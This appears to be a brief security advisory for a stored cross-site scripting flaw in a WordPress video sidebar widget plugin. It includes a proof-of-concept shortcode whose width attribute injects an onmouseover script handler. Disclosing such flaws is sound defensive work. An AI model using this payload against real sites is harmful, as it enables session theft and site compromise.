Download Video Sidebar Widgets <= 6.1 - Contributor+ Stored XSS via Shortcode

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

PoC

[vsw source=“youtube” id=“3PdILZ_1P74” autoplay=“yes” width=“100%’ onmouseover=‘alert(/XSS/)’” height=“400px”]